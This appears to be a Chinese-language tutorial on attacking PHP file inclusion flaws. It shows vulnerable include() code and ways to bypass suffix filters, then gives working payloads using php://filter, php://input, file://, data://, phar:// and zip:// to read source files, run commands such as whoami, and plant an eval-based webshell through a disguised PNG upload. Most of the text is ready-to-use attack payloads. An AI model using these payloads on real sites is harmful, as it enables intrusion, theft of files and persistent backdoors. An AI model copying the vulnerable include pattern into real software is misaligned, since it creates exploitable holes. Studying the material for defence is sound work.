有限制的远程文件包含
对文件指定了特定的前后缀 .html .php 等,攻击者需要绕过过滤来执行恶意代码
<?php
$filename=$_GET['filename'];
include($filename.".html");
?>
绕过
1.问号绕过 形如http://xxxxxxx?filename=http://aaaa/b.txt? 后端处理后include(http:///aaaa/b.txt?.html) ? 后的字符串被当作查询语句,绕过过滤
2.# 绕过,URL编码为%23 # 可以截断后面的拓展名.html 如http://xxxxxxx?filename=http://aaaa/b.txt%23
3.空格绕过,,URL编码为%20 如http://xxxxxxx?filename=http://aaaa/b.txt%20
PHP伪协议
file:// 访问本地文件系统
http:// 访问HTTP(S)网站
ftp:// 访问FTP(S)URL
php:// 访问各个输入输出流
zlib:// 处理压缩流
data:// 读取数据
glob:// 查找匹配的文件路径模式
phar:// PHP归档
ssh2:// secure shell 2
rar:// RAR压缩数据流
ogg:// 处理音频流
expect:// 处理交互式的流
1.php://filter
php://filter 是元封装器,设计用于数据流打开时的筛选过滤应用,对本地磁盘文件进行读写 以下两种用法相同:
?filename=php://filter/read=convert.base64-encode/resource=xxx.php
?filename=php://filter/convert.base64-encode/resource=xxx.php
利用php://filter/ 读取文件时,PHP配置文件不需要开启allow_url_fopen 和allow_url_include , php://filter 使用的参数
resource=<要过滤的数据流> | 该参数是必要的,指定要过滤的数据流 |
---|
read=<读链的筛选器列表> | 可选参数,设定一个或多个筛选器名称,用管道符(单竖线)分割 | write=<写链的筛选器列表> | 可选参数,设定一个或多个筛选器名称,用管道符(单竖线)分割 | <;两个链的筛选器列表> | 未read=或write=作前缀的筛选器列表会视情况应用于读或写链 |
http://xxxxx/test.php?filename=php://filter/convert.base64-encode/resource=test.php
读取test.php的base64编码


2.php://input
php://input 可以访问请求的原始数据的只读流,也就是可以直接读取POST上没有经过解析的原始数据 ,但是使用enctype="muliipart/form-data 的时候php://input 无效。
用法: 1.读取POST数据 直接读取POST上没有经过解析的原始数据,此时allow_url_fopen 和allow_url_include 不需要开启
<?php
echo file_get_contents("php://input");
?>
file_get_contents 获取php://input 数据,传入POST的数据,则输出该数据
  
2.执行命令 allow_url_include 需要开启 allow_url_fopen 不需要开启 POST传入PHP代码,就可以执行任意代码
<?php
$filename=$_GET['filename'];
include($filename);
?>
 
POST传入<?php system("whoami");?> ,执行whoami 命令
如果不开启allow_url_include ,就会产生报错,无法利用。
3.写入木马,实质与执行命令相同,只是执行写入木马 allow_url_include 需要开启 allow_url_fopen 不需要开启,个人操作中发现如果开启,则无法执行命令 POST传入PHP代码,就可以写入木马
<?php
$filename=$_GET['filename'];
include($filename);
?>
如果POST传入一段代码,就会在当前目录下写入木马 <?php fputs(fopen('shell.php','w'),'<?php @eval($_POST['cmd‘])?>');?>
如果不开启allow_url_include ,就会产生报错,无法利用。
file:// 伪协议
file:// 可以访问本地文件系统,读取文件的内容
allow_url_fopen 和allow_url_include 不需要开启
<?php
$filename=$_GET['filename'];
include($filename);
?>
读取http://xxxxxx.pph?filename=file://c:/boot.ini 
data:// 伪协议
从PHP5.2.0 开始,数据流封装器开始有效,主要用于数据流的读取,传入PHP代码,就会执行任意代码
使用方法:
data://text/plain;base64,xxxxx(base64加密后的数据)
allow_url_fopen 和allow_url_include 需要开启
<?php
$filename=$_GET['filename'];
include($filename);
?>
 对+ 进行URL编码%2b
data:
执行代码
http://xxxxx.php?filename=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b

phar:// 伪协议
不管参数的文件是什么拓展名,都会被当作压缩包
?filename=phar://压缩包/内部文件
allow_url_fopen 和allow_url_include 需要开启 php版本高于5.3.0 压缩包使用zip:// 压缩,不能使用 rar:// 压缩,木马压缩后,改为其他任意格式的文件都可以使用
<?php
$filename=$_GET['filename'];
include($filename);
?>
在有上传功能 的网站中,用phar:// 上传一个shell.php,然后使用zip:// 压缩为shell.zip ,再将拓展名改为.png ,上传到网站 phar:// 把shell.png 当作ZIP解压,访问shell.php
http:
zip:// 伪协议
与phar:// 原理类似 用法:
?file=zip://压缩包绝对路径/压缩文件的子文件名
?file=zip://xxx.png#shell.php
allow_url_fopen 和allow_url_include 需要开启 php版本高于5.3.0 # 转码为%23
http:
zip:// 把shell.png 当作ZIP解压,访问shell.php
|